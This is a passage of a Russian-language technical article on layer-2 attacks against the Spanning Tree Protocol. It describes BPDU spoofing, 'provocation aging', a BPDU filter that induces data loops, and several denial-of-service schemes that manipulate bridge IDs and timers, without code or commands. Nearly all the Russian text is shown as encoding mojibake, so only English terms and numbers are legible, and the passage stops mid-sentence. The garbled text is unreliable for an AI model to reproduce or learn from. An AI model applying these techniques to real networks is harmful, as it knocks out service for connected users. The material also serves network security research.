6.1 BPDU spooffing
Ýòà ÷àñòü ñòàòüè áûëà äîáàâëåíà óæå ïðèìåðíî íà ñåðåäèíå ðàçðà-

áîòêè. Êàê âû ñìîæåòå çàìåòèòü äàëåå, ýòà ìåòîäèêà íóæíà äëÿ ÷àñòè
îïèñûâàåìûõ çäåñü àëãîðèòìîâ è èçíà÷àëüíî ìû îáîøëè åå âíèìàíèåì,
ñ÷èòàÿ, ÷òî â íåé íåò íè÷åãî òàêîãî, ÷òî ìîãëî áû åãî çàñëóæèòü. Òåìà c
îáùèì íàçâàíèåì ¾spoofing¿ ðàçæåâàíà âî ìíîãèõ èñòî÷íèêàõ íàñòîëüêî
õîðîøî, ÷òî, êàçàëîñü, íè÷åãî íîâîãî ñêàçàòü íåëüçÿ. Îäíàêî â ïðèìåíå-
íèè ê STP è ñ ó÷åòîì óðîâíÿ OSI, íà êîòîðîì ðàáîòàåò Spanning Tree,
ó ýòîé ìåòîäèêè åñòü íåñêîëüêî ïðèíöèïèàëüíûõ îñîáåííîñòåé. Ãîâîðÿ
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êðàòêî, spooffing � ýòî ïîäìåíà. Íàèáîëåå òèïè÷íà ïîäìåíà àäðåñà îò-
ïðàâèòåëÿ - ñëó÷àé, â êîòîðîì ïîòðåáóåòñÿ ïîäìåíèòü àäðåñ ïîëó÷àòåëÿ,
ïðèäóìàòü òðóäíî, õîòÿ è ìîæíî, ê òîìó æå, ïî÷òè âñå îíè áóäóò îòíî-
ñèòñÿ èñêëþ÷èòåëüíî ê ëîêàëüíîìó äëÿ äàííîé ìàøèíû ñòåêó TCP/IP,
çà èñêëþ÷åíèåì ðàçâå ÷òî ìåòîäèê îòëîâà íåäîñòàòî÷íî õîðîøî ñïðÿòàí-
íûõ promiscuous èíòåðôåéñîâ. Òèïè÷íûå ñïîñîáû áîðüáû ñ ýòîé àòàêîé
â Internet çàêëþ÷àþòñÿ â:

1. ââåäåíèè ãðàíè÷íûõ óñëîâèé;

2. ââåäåíèè äîïîëíèòåëüíûõ òðåáîâàíèé â ïðîòîêîë îáìåíà ìåæäó
source è destination;

3. ââåäåíèè òðåáîâàíèÿ óñòàíîâëåíèÿ ñîåäèíåíèÿ ìåæäó ó÷àñòíèêàìè
îáìåíà òðàôèêîì (â ïðèíöèïå ýòî ÷àñòíûé ñëó÷àé 2).

Îñîáåííîñòÿìè STP, âàæíûìè ñ òî÷êè çðåíèÿ äåòàëüíîãî ðàññìîòðå-
íèÿ BPDU spooffing, ÿâëÿåòñÿ ñëåäóþùåå:

1. Ýòî ïðîòîêîë 2-ãî óðîâíÿ OSI, êîòîðûé íå ìàðøðóòèçèðóåì.

2. C-BPDU ïàêåòû ýòîãî ïðîòîêîëà õîäÿò èñêëþ÷èòåëüíî ìåæäó äâó-
ìÿ STP-ñîâìåñòèìûìè óñòðîéñòâàìè. Ëþáîå STP-ñîâìåñòèìîå óñ-
òðîéñòâî, ïîëó÷èâ òàêîé ïàêåò, ãåíåðèðóåò â êà÷åñòâå ðåàêöèè ñâîé
(òî åñòü äðóãîé) ïàêåò, îãðàíè÷èâàÿ òàêèì îáðàçîì çîíó õîæäåíèÿ
C-BPDU.

3. Ýòîò ïðîòîêîë íå ïðåäïîëàãàåò êàêèõ-ëèáî àäìèíèñòðàòèâíûõ îãðà-
íè÷åíèé íà åãî èñïîëüçîâàíèå.

4. Ýòîò ïðîòîêîë íå ïðåäóñìàòðèâàåò âõîäíîé ôèëüòð õîæäåíèÿ BPDU
ïî èíòåðôåéñó ñ êîòîðîãî îíî ïîëó÷åíî, ïîñêîëüêó ñàì ôàêò ïî-
ëó÷åíèÿ BPDU íà òîì èëè èíîì èíòåðôåéñå ÿâëÿåòñÿ ñîáûòèåì
ïðîòîêîëà14.

5. Ýòîò ïðîòîêîë ïðåäóñìàòðèâàåò äèíàìè÷åñêîå êîíôèãóðèðîâàíèå.
Ïðè÷åì, îãðàíè÷åíèé íà ôàêò è âðåìÿ ïîÿâëåíèÿ â ñòðóêòóðå íî-
âîãî óñòðîéñòâà íå ïðåäóñìîòðåíî.

6. Ýòî ïðîòîêîë áåç óñòàíîâêè ñîåäèíåíèÿ (connection-less protocol).

14Èñêëþ÷åíèÿ âîçìîæíû ïðè ïîääåðæêå ðàñøèðåíèé, íàïðèìåð Cisco BPDU Root
Guard, ñì. ðàçäåë 8, ñòð. 51.
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Èç 1 è 4 ñëåäóåò, ÷òî ãðàíè÷íûå óñëîâèÿ ôèëüòðàöèè ëîæíûõ ïàêåòîâ
ê íåìó íå ïðèìåíèìû15.

Èç 2 ñëåäóåò, ÷òî ôèëüòðàöèÿ ïàêåòîâ ïî ïóòè íåêèì STP-ñîâìåñòè-
ìûì óñòðîéñòâîì íå èìååò ñìûñëà, ïîñêîëüêó ïóòü STP-ïàêåòà íå ìîæåò
ñîäåðæàòü ïðîìåæóòî÷íîå STP óñòðîéñòâî. 3 ãîâîðèò ñàì çà ñåáÿ. 6 óêà-
çûâàåò íà òî, ÷òî ïîääåëêà ñîåäèíåíèÿ íå ïîòðåáóåòñÿ, à ìåæäó òåì îíà
çàòðóäíÿåò, íàïðèìåð, TCP/IP spooffing. Âïðî÷åì, ââåäåíèå òðåáîâàíèÿ
óñòàíîâêè ñîåäèíåíèÿ â äàííîì ñëó÷àå ïîìîæåòìàëî, ïîñêîëüêó íåëüçÿ
îãðàíè÷èâàòü âîçìîæíîñòü óñòàíîâêè òàêîâîãî.

Â ðåçóëüòàòå ñèòóàöèÿ ñ BPDU spooffing òàêîâà: ïðè ïðàâèëüíî ïî-
ñòàâëåííîì BPDU-spooffing ïðèíöèïèàëüíî íåâîçìîæíî îòëè÷èòü ¾ëå-
ãàëüíûå¿ ïàêåòû îò ïîääåëüíûõ. Ïîä ïðàâèëüíî ïîñòàâëåííûì BPDU-
spooffing ïîíèìàåòñÿ ïîääåëêà íå òîëüêî ïàðàìåòðîâ STP ïàêåòà, íî è
àäðåñîâ â MAC ôðåéìå. Ïðè ýòîì, áëàãîäàðÿ 5, äàæå åñëè íå èñïîëüçî-
âàòü ñîáñòâåííî spoofing, ìîæíî âñå ðàâíî äîáèòüñÿ èíòåðåñíûõ ðåçóëü-
òàòîâ.

Èãðàÿ ñ âðåìÿîáðàçóþùèìè ïàðàìåòðàìè Max Age, forward delay, hello
time â ôàëüñèôèöèðîâàííûõ C-BPDUs ìû ìîãëè áû óïðàâëÿòü, ïî êðàé-
íåé ìåðå, áëèçëåæàùèìè STP-óñòðîéñòâàìè ïîñðåäñòâîì ïîñòîÿííîé è
î÷åíü áûñòðîé ïîñûëêè òàêèõ C-BPDU. Ïîä ¾ôàëüñèôèöèðîâàííûìè
bpdu¿ â äàííîì ñëó÷àå ïîíèìàþòñÿ c-bpdu ñ òàêèìè æå ïàðàìåòðàìè,
êàê ó òåêóùåãî designated bridge èëè designated root bridge, è ñ òåì æå,
÷òî è ó íåãî source MAC, íî ñ äðóãèìè çíà÷åíèÿìè ïàðàìåòðîâ, îïðå-
äåëÿþùèõ ðàçëè÷íûå ïàóçû â ðàìêàõ ïðîòîêîëà, ÷òî, ïðàâäà, ìîæåò
âûçâàòü îäèí èç ñëó÷àåâ îïèñàííûõ â ýòîé ñòàòüå - ïåðåêîíôèãóðàöèþ
STP-äåðåâà ñ ïîñëåäóþùèì ÷àñòè÷íûì DoS. Äëÿ òîãî ÷òîáû ýòîãî èç-
áåæàòü ôàëüñèôèöèðîâàííûå ïàêåòû íå äîëæíû âûçûâàòü ðåêîíôèãó-
ðàöèþ äåðåâà. Ýòîãî ìîæíî äîáèòüñÿ, âûñòàâèâ â íèõ port id â áîëüøåå
çíà÷åíèå (ñîãëàñíî ïðîòîêîëó ïðè ýòîì äîëæåí âûêëþ÷èòüñÿ ýòîò èí-
òåðôåéñ), èëè æå âûñòàâèòü õóäøèé path-cost - â ýòîì ñëó÷àå STP âû-
êëþ÷èò ýòîò ïîðò, íî BPDU òåì íå ìåíåå îí áóäåò ïðèíèìàòü. Îäíàêî
ñàìî ïî ñåáå ýòî ìàëî ÷òî äàåò - âñå, ÷òî ìû ïîëó÷èì, ìåíÿÿ ýòè ïàðàìåò-
ðû, ýòî íåçíà÷èòåëüíàÿ ¾äåçîðèåíòàöèÿ¿ áëèæàéøåãî ñâèò÷à è ñâèò÷åé,
êîòîðûé ïîëó÷àþò èíôîðìàöèþ îò óæå ¾îáìàíóòîãî¿ (òå, ÷òî íàõîäÿòñÿ
íèæå â STP-äåðåâå). Òî åñòü ìàêñèìóì, ÷òî ýòî ìîæåò äàòü - óâåëè÷åíèå

15Ïî êðàéíåé ìåðå äî òåõ ïîð, ïîêà íåò óâåðåííîñòè, ÷òî íà îïðåäåëåííûõ èíòåð-
ôåéñàõ ïîëó÷åíèå BPDU ïðèíöèïèàëüíî íåâîçìîæíî (èëè íå ïðèåìëåìî ïî êàêèì
ëèáî ñîîáðàæåíèÿì). Òàêóþ óâåðåííîñòü ìîæåò èìåòü àäìèíèñòðàòîð, îäíàêî ñàì ïî
ñåáå ñòàíäàðò â äàííîì ñëó÷àå íå ïðåäóñìàòðèâàåò âîçìîæíîñòè îòêëþ÷åíèÿ STP
ïîèíòåðôåéñíî - â òàêîì ïîâåäåíèè ñòàíäàðòà åñòü ñìûñë òîëüêî äî òåõ ïîð, ïîêà
áåçîïàñíîñòü èìååò ìåíüøèé ïðèîðèòåò, ÷åì óäîáñòâî.
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âðåìåíè æèçíè íåêîððåêòíîé ñòðóêòóðû äåðåâà ïîñëå òîãî, êàê ìû ïå-
ðåñòàëè ïåðåäàâàòü ïàêåòû ïî ýòîìó àòàêóþùåìó àëãîðèòìó. Â ñëó÷àå
âîçíèêíîâåíèÿ ðåàëüíîé STP-ïåðåêîíôèãóðàöèè, âîçìîæíû ïðîáëåìû
èç-çà ïîÿâëåíèÿ data loops. Ïî ñðàâíåíèþ ñ óæå çàòðîíóòûìè âàðèàíòà-
ìè DoS ýòî ïðîñòî íå ñåðüåçíî. Îäíàêî èñïîëüçîâàíèå Max Age ìîæåò
ïðèâåñòè ê òîìó, ÷òî DoS ïî îäíîìó èç îïèñàííûõ âûøå àëãîðèòìîâ
áóäåò ôóíêöèîíèðîâàòü äîëüøå.

6.2 Provocation Aging
Òàê æå ñëåäóåò çàìåòèòü, ÷òî âîçìîæíà ïîääåëêà âîîáùå ëþáûõ bpdu:

íå òîëüêî configuration-bpdu (c-bpdu), íî è notification bpdu (n-bpdu,
tcn-bpdu). Íàïðèìåð, ñîãëàñíî ïîñëåäíåìó àáçàöó ãëàâû 7.9.2 â [1], èñ-
ïîëüçóÿ tcn-bpdu, ìîæíî ðåàëèçîâàòü åùå îäíó àòàêó - ¾provocation
aging¿ - óïðàâëåíèå âåëè÷èíîé âðåìåíè õðàíåíèÿ èíôîðìàöèè î ïîëîæå-
íèè â ñåòè MAC-àäðåñîâ, äèíàìè÷åñêè ôîðìèðóåìîé â ïðîöåññå ðàáîòû
óñòðîéñòâà. Ñîãëàñíî [1] ñòð. 45, òàáëèöà 7.4, âåëè÷èíà Aging Time ìîæåò
áûòü ñáðîøåíà íå ðàíåå, ÷åì ÷åðåç 10 ñåêóíä16.

Ñàìà ïî ñåáå ýòà àòàêà ìàëîôóíêöèîíàëüíà, íî, òåîðåòè÷åñêè, ìî-
æåò áûòü èñïîëüçîâàíà äëÿ äðóãèõ àòàê, ïðè êîòîðûõ îäíèì èç òðå-
áîâàíèé ÿâëÿåòñÿ âíåñåíèå ëîæíûõ çàïèñåé â òàáëèöó êîììóòàöèè â êà-
÷åñòâå êàòàëèçàòîðà, îáåñïå÷èâàþùåãî ïîâûøåíèå ñêîðîñòè ñðàáàòûâà-
íèÿ òàêîé àòàêè. Âîçìîæíî, èñïîëüçîâàíèå ýòîé ìåòîäèêè äëÿ ïîìîùè
â provocation sniffing (ñì. ðàçäåë 6.6, ñòð. 46) ïîìîæåò äàòü áîëå-ìåíåå
ñóùåñòâåííûå ðåçóëüòàòû. Êðîìå òîãî, ýòà àòàêà ìîæåò áûòü èñïîëü-
çîâàíà â ñëó÷àå ïîääåðæêè STP-ñîâìåñòèìûì óñòðîéñòâîì ðàñøèðåíèé
STP, íàïðèìåð STP port fast (Cisco). Êàê áóäåò ïîêàçàíî, íèæå â òà-
êèõ ñëó÷àÿõ aging time ìîæåò áûòü ñáðîøåíî äî íóëåâîé âåëè÷èíû. Â
òàêîì ñëó÷àå àòàêà provocation aging ñòàíåò ñèíîíèìîì provocation snif-
fing. Âïðî÷åì, îá ýòîì íèæå.

6.3 BPDU filter
Î÷åâèäíî, ÷òî îñóùåñòâèòü DoS â ðàìêàõ îäíîãî êîììóòàòîðà î÷åíü

ëåãêî. Äëÿ ýòîãî íåîáõîäèìî îðãàíèçîâàòü data-loop, êîòîðûé ïîñëóæèò
ïðè÷èíîé ëàâèííîãî ðàçìíîæåíèÿ è ñàìîðåãåíåðàöèè ïàêåòîâ. Äàííàÿ
àòàêà, ðàçóìååòñÿ, ýôôåêòèâíà â ïðåäåëàõ îäíîãî vlan, îäíàêî, îíà çà-
òðîíåò è îñòàëüíûå çà ñ÷åò ñíèæåíèÿ ïðîèçâîäèòåëüíîñòè âñåãî óñòðîéñò-
âà. Ýòî ïðîèñõîäèò èç-çà ïîâûøåíèÿ íàêëàäíûõ ðàñõîäîâ íà îáðàáîò-
êó ïîñòîÿííîãî áîëüøîãî ïàðàçèòíîãî òðàôèêà, îáúåì êîòîðîãî ìîæåò
âûðàñòè äî ñóììàðíîé ïðîïóñêíîé ñïîñîáíîñòè îáðàçîâàííûõ ìåæäó

16Îäíàêî è ýòî òîæå íåïëîõî áû ïðîâåðèòü ;)
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óñòðîéñòâàìè ëèíêîâ. Èäåÿ ýòîé àòàêè êðàéíå ïðîñòà: ñîçäàåòñÿ äîïîë-
íèòåëüíûé link ìåæäó äâóìÿ STP-ñîâìåñòèìûìè óñòðîéñòâàìè, â ñåðå-
äèíó êîòîðîãî ñòàâèòñÿ ôèëüòð BPDU, êîòîðûé ïðîñòî ¾òóïî¿ âûðåçàåò
BPDU ñ ëþáûìè source & destination, íå âëèÿÿ íà îñòàëüíîé òðàôôèê,
ëèáî, äîïîëíèòåëüíî ñîçäàâàÿ åãî. Â ñèëó ñâîåé íåýëåãàíòíîñòè, è â ñèëó
òîãî, ÷òî äëÿ ðåàëèçàöèè îáÿçàòåëüíî òðåáóåòñÿ äîñòóï ê âêëþ÷åííûì
ïîðòàì õîòÿ áû îäíîãî èç êîììóòàòîðîâ ýòîò ìåòîä àâòîðû ñ÷èòàþò ìàëî
èíòåðåñíûì ñ ïðàêòè÷åñêîé òî÷êè çðåíèÿ.

6.4 Îòêàç â îáñëóæèâàíèè (DoS)
Àâòîðû ïðåäïîëàãàþò, ÷òî àóäèòîðèÿ äîñòàòî÷íî õîðîøî ïîíèìàåò

ñàì òåðìèí. Åñëè æå ýòîò òåðìèí íå çíàêîì, ñîâåòóåì îòëîæèòü ÷òåíèå
ýòîé ñòàòüè è âíèìàòåëüíî ïðî÷åñòü [3], ëèáî äðóãóþ îáçîðíóþ ëèòåðà-
òóðó ñîäåðæàùóþ íåîáõîäèìûé òåîðåòè÷åñêèé ìèíèìóì. Òåì íå ìåíåå,
àâòîðû ïðèâåäóò îäíî èç ìíîãî÷èñëåííûõ (íåàêàäåìè÷åñêèõ) îïðåäåëå-
íèé DoS:

Àòàêà Denial Of Service ëèøàåò îáúåêò àòàêè âîçìîæíîñ-
òè ðàáîòàòü ïî íàçíà÷åíèþ, èíûìè ñëîâàìè ëèøàåò ïîëüçîâà-
òåëÿ âîçìîæíîñòè ïîëó÷èòü îò îáúåêòà, ïîäâåðãøåãîñÿ ýòîé
àòàêå, íåêóþ ôóíêöèîíàëüíîñòü, ïðåäîñòàâëÿòü êîòîðóþ îí
äîëæåí â ¾íîðìàëüíûõ¿ óñëîâèÿõ.

Îòêàç â îáñëóæèâàíèè � ýòî äîâîëüíî ðàñïðîñòðàíåííàÿ àòàêà. Îä-
íàêî äî íàñòîÿùåãî ìîìåíòà åå ïðèìåíåíèå â îñíîâíîì îãðàíè÷èâàëîñü
ãëîáàëüíûìè ñåòÿìè, à òàêæå ëîêàëüíûìè ñåòÿìè, èñïîëüçóþùèìè ïðî-
òîêîëû ãëîáàëüíûõ ñåòåé (íàèáîëåå ðàñïðîñòðàíåíû DoS-àòàêè ñâÿçàí-
íûå ñ ðåàëèçàöèåé èëè ïðèíöèïàìè ðàáîòû ñòåêà ïðîòîêîëîâ TCP/IP).
Åñëè êëàññèôèöèðîâàòü àòàêè ïî ïðîòîêîëàì, òî èñòîðèÿ àòàê íà óðîâ-
íÿõ âûøå 2-ãî OSI ãîðàçäî áîãà÷å. Ýòîò äîêóìåíò äîáàâèò îïèñàíèå åùå
íåñêîëüêèõ ýêçåìïëÿðîâ â íåìíîãî÷èñëåííóþ êîëëåêöèþ àòàê, âîçìîæ-
íûõ íà 2-ì óðîâíå OSI. Ñ èñïîëüçîâàíèåì STP âîçìîæíû äâå ñõåìû
ðåàëèçàöèè DoS.

6.4.1 STP DoS: ¾âå÷íûå âûáîðû¿ èëè ïîñòîÿííûé ïåðåáîð
Íàèáîëåå ýôôåêòèâíûé ìåòîä: ïîäîæäàòü ïîÿâëåíèÿ STP ïàêåòà c

òåêóùèì STP-root, çàòåì ïî î÷åðåäè ïåðåáèðàòü çíà÷åíèÿ bridge id, ïî-
ñûëàÿ bpdu ñ âñå ìåíüøèìè çíà÷åíèÿìè (id = id − 1), äî òåõ ïîð ïî-
êà íå áóäåò äîñòèãíóòî ïðåäåëüíîå çíà÷åíèå, âûçûâàÿ òàêèì îáðàçîì
ïåðåâûáîðû designated root êàæäûì ïîñëàííûì ïàêåòîì (äëÿ áîëüøåé
óâåðåííîñòè - ïîñûëàòü îäèíàêîâûå c-bpdu íåñêîëüêî ðàç ïîäðÿä). Êîã-
äà æå áóäåò äîñòèãíóòî ìèíèìàëüíî âîçìîæíîå çíà÷åíèå - ïîäîæäàòü,
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ïîêà ýòî çíà÷åíèå íå óñòàðååò èç-çà ïàóçû, è íà÷àòü ñíà÷àëà. Ñ ó÷åòîì
òîãî, ÷òî âñå ïàðàìåòðû, âêëþ÷àÿ âðåìÿ óñòàðåâàíèÿ, óñòàíàâëèâàþò-
ñÿ â ïîñûëàåìûõ íàçíà÷åííûì êîðíåì êîíôèãóðàöèîííûõ bpdu, ìîæíî
ïîëó÷èòü ñèòóàöèþ, ïðè êîòîðîé ïîðòû íèêîãäà íå âîéäóò â ñîñòîÿíèå
¾forwarding¿ ïîêà ïðîèñõîäèò ãåíåðàöèÿ ôðåéìîâ, îáåñïå÷èâàþùèõ îò-
êàç â îáñëóæèâàíèè. Áîëåå òîãî, â ñèëó îñîáåííîñòåé ïðîòîêîëà ñîñòî-
ÿíèå îòêàçà â îáñëóæèâàíèè áóäåò ïðîäîëæàòüñÿ åùå íåêîòîðîå âðåìÿ,
ðàâíîå ïàðàìåòðó Max Age, êîòîðûé ìîæíî âûñòàâèòü ñîãëàñíî ñòàí-
äàðòó17 äî 40 ñåêóíä (ñì. [1], ñòð. 108, òàáëèöà 8.3). Ïîñêîëüêó ïîìèìî
65535 âîçìîæíûõ ïðèîðèòåòîâ bridge id âêëþ÷àåò â ñåáÿ åùå è MAC
àäðåñ, òî êîëè÷åñòâî âðåìåíè, êîòîðîå ïîòðåáóåòñÿ ÷òîáû ïåðåáðàòü âñå
âîçìîæíûå çíà÷åíèÿ âåñüìà âåëèêî è ñîñòàâèò (â øåñòíàäöàòåðè÷íîé
ñèñòåìå c÷èñëåíèÿ):
(CurrentV ictimBridgePriority − 1 + V ictimBridgeMAC − 1) ∗
(ListeningT ime + LearningT ime) =
(CurrentV ictimBridgePriority + V ictimBridgeMAC − 2) ∗
(ListeningT ime + LearningT ime) =
(CurrentV ictimBridgePriority + V ictimBridgeMAC − 2) ∗
2 ∗ ForwardDelay ñåêóíä.

Çíà÷åíèå ïî óìîë÷àíèþ äëÿ ForwardDelay ñîñòàâëÿåò 15 ñåêóíä è
ìîæåò äîõîäèòü äî 30. Íà ñàìîì äåëå ïðè çàöèêëèâàíèè àëãîðèòìà ñî-
ñòîÿíèå DoS ìîæåò ïðîäîëæàòüñÿ ñêîëü óãîäíî äîëãî, ïîêà ïîñûëàþòñÿ
ïàêåòû ñ ôàëüøèâûìè BPDU. Ïðè ýòîì, êàê âèäèòå, âàðèàöèé àëãîðèò-
ìà ìîæíî íàéòè äîâîëüíî ìíîãî.

6.4.2 STP DoS: àëãîðèòì ¾èñ÷åçíîâåíèÿ êîðíÿ¿
Íà÷àòü ïîñûëêó BPDU ñ ìèíèìàëüíî âîçìîæíûì bridge id, òî åñòü ñ

ìàêñèìàëüíî âîçìîæíûì ïðèîðèòåòîì, ïåðèîäè÷åñêè ïåðåñòàâàÿ ïåðå-
äàâàòü êîíôèãóðàöèîííûå bpdu, ÷òîáû ýòî íàøå çíà÷åíèå íàçíà÷åííîãî
êîðíÿ óñòàðåëî è òàê ïî êðóãó. Íà ïåðâûé âçãëÿä ýòî íå íàñòîëüêî ýô-
ôåêòèâíî, ïîñêîëüêó ìîæåò ñóùåñòâîâàòü íåáîëüøîé ïðîìåæóòîê âðå-
ìåíè, êîãäà ñåòü ðàáîòàåò, òåì íå ìåíåå, â ñèëó òîãî, ÷òî îãðàíè÷åíèÿ,
íàêëàäûâàåìûå ñïåöèôèêàöèåé ïðîòîêîëà, ïîçâîëÿþò íàì óñòàíàâëè-
âàòü âðåìÿ óñòàðåâàíèÿ çíà÷åíèé â î÷åíü øèðîêèõ ïðåäåëàõ (ñì. ðàçäåë
6.4.7), ýòèì ìåòîäîì ìîæíî äîñòèãíóòü òî÷íî òàêîé æå ýôôåêòèâíîñòè.
Áîëåå òîãî, ýòîò ìåòîä íàèáîëåå ïðîñò â ðåàëèçàöèè, ïîñêîëüêó íå òðå-
áóåò îò íàñ íè çíàíèÿ òåêóùåãî èäåíòèôèêàòîðà íàçíà÷åííîãî êîðíÿ,
íè êàêèõ-ëèáî ïðåäïîëîæåíèé îòíîñèòåëüíî åãî âåëè÷èíû (â îòëè÷èå îò
ïðåäûäóùåãî ñëó÷àÿ).

17Ýòî åñëè ïðîãðàììèñòû íå çàáûëè ïîñòàâèòü çíàê íåðàâåíñòâà. À åñëè çàáûëè -
âïëîòü äî ìàêñèìàëüíîé âåëè÷èíû, âìåùàþùåéñÿ â îòâåäåííóþ ïîä ýòîò ïàðàìåòð
îáëàñòü ïàìÿòè. Îïÿòü æå, ðàçíûå ïðîèçâîäèòåëè çà÷àñòóþ ñîâåðøåííî ïî-ñâîåìó
ñîáëþäàþò ñîâìåñòèìîñòü ñ òåì èëè èíûì IEEE ñòàíäàðòîì. ;)
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Ñëåäóåò çàìåòèòü, ÷òî åñëè â íåêîòîðîé ËÂÑ òåêóùèé èäåíòèôèêàòîð
designated root íå ÿâëÿåòñÿ èäåíòèôèêàòîðîì íàèâûñøåãî âîçìîæíîãî
ïðèîðèòåòà (èìååòñÿ ââèäó íóëåâûå è Bridge Priority è MAC address),
òî ýòà ËÂÑ, ñêîðåå âñåãî, ïîäâåðæåíà îáîèì òèïàì DoS â ïîëíîé ìåðå.
Â ñëó÷àå æå, åñëè íà îäíîì èç STP-ñîâìåñòèìûõ óñòðîéñòâ óñòàíîâëåí
bridge id ðàâíûé 0, òî DoS, òåì íå ìåíåå, ìîæåò áûòü ðåàëèçîâàíà, íî
òîëüêî íà ÷àñòè óñòðîéñòâ, à èìåííî íà òåõ, ê êîòîðûì ïîäêëþ÷åí àòàêó-
þùèé. Äåëî â òîì, ÷òî ñèòóàöèÿ, êîãäà ìû èìååì äâà STP-ñîâìåñòèìûõ
óñòðîéñòâà c îäíèì è òåì æå bridge id ìîæåò áûòü âîñïðèíÿòà êàê êîëü-
öî, è STP îòêëþ÷èò ëèáî ïîðò àòàêóþùåãî, ëèáî äðóãîé ïîðò, â çàâèñè-
ìîñòè îò ñîîòíîøåíèÿ íîìåðà ïîðòà, íà êîòîðîì ïðîèçâîäèòñÿ àòàêà, è
íîìåðà ïîðòà ê êîòîðîìó ïîäêëþ÷åíà àòàêóåìàÿ ÷àñòü ñåòè (ñì. ðàçäåë
1).

6.4.3 STP DoS: àëãîðèòì ñëó÷àéíîãî ñîâïàäåíèÿ
Ýòîò ïîäðàçäåë êàñàåòñÿ ñëó÷àåâ ñåòåé ñ èñïîëüçîâàíèåì òåõíîëîãèè

port-based VLAN. Â ñëó÷àå òàêîé îðãàíèçàöèè ñåòè îïèñàííûå äî ýòî-
ãî ìîìåíòà DoS àòàêè ìîãóò ñðàáîòàòü èñêëþ÷èòåëüíî â ïðåäåëàõ îä-
íîãî VLAN. Îäíàêî è â ýòîì ñëó÷àå çëîóìûøëåííèê ìîæåò íàäåëàòü
íåïðèÿòíîñòåé âñåé ñåòè - äåëî â òîì, ÷òî, êàê ðàññìàòðèâàëîñü âûøå,
STP ìîæåò âûäåëÿòüñÿ â îòäåëüíîå äåðåâî ïîñðåäñòâîì ôèëüòðîâàíèÿ
ïî bridge ID18. Ïîýòîìó, åñëè â ðàìêàõ äàííîãî VLAN îòïðàâëÿòü BPDU
îò èìåíè èìåþùåãîñÿ â ñîñåäíåì VLAN designated root èëè ïðîñòî desig-
nated bridge, êîììóòàòîðû ìîæíî óáåäèòü â òîì, ÷òî â íåêîòîðîì ìåñòå
VLAN'û ñòàëè âäðóã êàê-òî ñîåäèíåíû. Ýòî âûçîâåò ïåðåâûáîðû desig-
nated bridge, â òîì ÷èñëå è â ñåãìåíòå, êîòîðûé àòàêóåòñÿ è ïðèíàäëåæèò
VLAN, îòëè÷íîìó îò VLAN àòàêóþùåãî. ⊗

Ýòîò àëãîðèòì íàçâàí àëãîðèòìîì ñëó÷àéíîãî ñîâïàäåíèÿ ïîòîìó, ÷òî
àòàêóþùåìó ïðèäåòñÿ ïîäáèðàòü designated root bridge ID èìåííî òàêîé,
êîòîðûé ñîâïàäåò ñ èìåþùèìñÿ â ñîñåäíåì VLAN. Ðàçóìååòñÿ íàèáîëåå
òî÷íî ýòà àòàêà âîñïðîèçâîäèòñÿ â ñëó÷àå, åñëè àòàêóþùèé ìîæåò ïîëó-
÷èòü dump ðàáîòû ñåòè çà âðåìÿ ïîðÿäêà Hello Time (ïî óìîë÷àíèþ - 2
ñåêóíäû).

6.4.4 STP DoS: äðóãèå âîçìîæíûå àëãîðèòìû
Âîçìîæíû òàêæå ïðîèçâîëüíûå êîìáèíàöèè âûøåîïèñàííûõ ìåòîäèê.

Íàïðèìåð, ìîæíî ñäåëàòü âàðèàíò 2 íå ñ ìàêñèìàëüíî âåñîìûì bridge
identifier, à ïðîñòî ñ òåêóùèì designatedroot+1 è ïåðèîäè÷åñêè åãî àíîí-
ñèðîâàòü, ïî ìåðå óñòàðåâàíèÿ. Îäíàêî âàðèàöèè íà òåìó ïðîéäåííîãî,

18Ýòî âñåãî ëèøü îäèí èç âîçìîæíûõ âàðèàíòîâ, ïîêà òðåáóþùèé ïîäòâåðæäåíèÿ.
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ðàçóìååòñÿ íå ïðåäñòàâëÿþò èíòåðåñà, ïîýòîìó â äîïîëíåíèå ê ñêàçàííî-
ìó îòäåëüíî ñëåäóåò ðàññìîòðåòü àòàêè, êîòîðûå ìîãóò ïðîèçâåñòè îòêàç
îáñëóæèâàíèÿ â ïðåäåëàõ íåêîòîðîãî ñåãìåíòà ËÂÑ, òåì ñàìûì ñîçäàâ
ñèòóàöèþ ¾÷àñòè÷íîãî îòêàçà â îáñëóæèâàíèè¿.

6.4.5 STP DoS: ×àñòè÷íûé îòêàç â îáñëóæèâàíèè
Â ñëó÷àå, åñëè àòàêóþùåìó êàêèì-òî îáðàçîì, ñòàëî èçâåñòíî çíà÷å-

íèå bridge identifier îäíîãî èëè áîëåå óñòðîéñòâ â ËÂÑ, îí ìîæåò âûçâàòü
âûáîðû designated bridge äëÿ òîãî èëè èíîãî ó÷àñòêà ËÂÑ, ïîñëàâ ñî-
îòâåòñòâóþùåå c-bpdu äëÿ îñïàðèâàíèÿ ñòàòóñà íàçíà÷åííîãî ìîñòà äëÿ
ñîîòâåòñòâóþùåãî ñåãìåíòà ËÂÑ. Âîçäåéñòâóÿ èñêëþ÷èòåëüíî íà áëè-
æàéøåå ê àòàêóþùåìó óñòðîéñòâî, îí ìîæåò îáúÿâèòü ñåáÿ ëó÷øèì âîç-
ìîæíûì ïóòåì ê ñîñåäíåìó ñ íèì óñòðîéñòâó, íàïðèìåð, çàÿâèâ, ÷òî åãî
ïîðò ÿâëÿåòñÿ ñàìûì äåøåâûì ïî ñòîèìîñòè ïóòåì ê íåìó, â ðåçóëüòàòå
÷åãî ¾áîëåå äîðîãîé¿ ïîðò áóäåò ïåðåâåäåí â ñîñòîÿíèå Blocking, à ïî-
ñêîëüêó ðåàëüíîé ñâÿçè íåò, âñå îêîíå÷íûå óñòðîéñòâà, ïîäêëþ÷åííûå ê
àòàêîâàííîìó óñòðîéñòâó, ïîòåðÿþò âîçìîæíîñòü ðàáîòàòü ñ îòêëþ÷åí-
íûì ñåãìåíòîì ËÂÑ19.

Â îïèñàííîì íà ðèñóíêå 7 ñëó÷àå â ïðèìåðå B), ïñåâäî-áðèäæ-ñèñòåìà
àòàêóþùåãî, àíîíñèðóÿ ëó÷øèå ïàðàìåòðû, âûèãðàëà âûáîðû íàçíà÷åí-
íîãî ìîñòà (designated bridge), íå ÿâëÿÿñü òàêîâûì. Îäíîâðåìåííî ïîðò,
ê êîòîðîìó ïîäêëþ÷åí àòàêóþùèé, ñòàë íàçíà÷åííûì ïîðòîì äëÿ àòà-
êóåìîé ÷àñòè ñåòè (ñòàòóñ ïåðåøåë îò ïîðòà ïåðåøåäøåãî â ñîñòîÿíèå
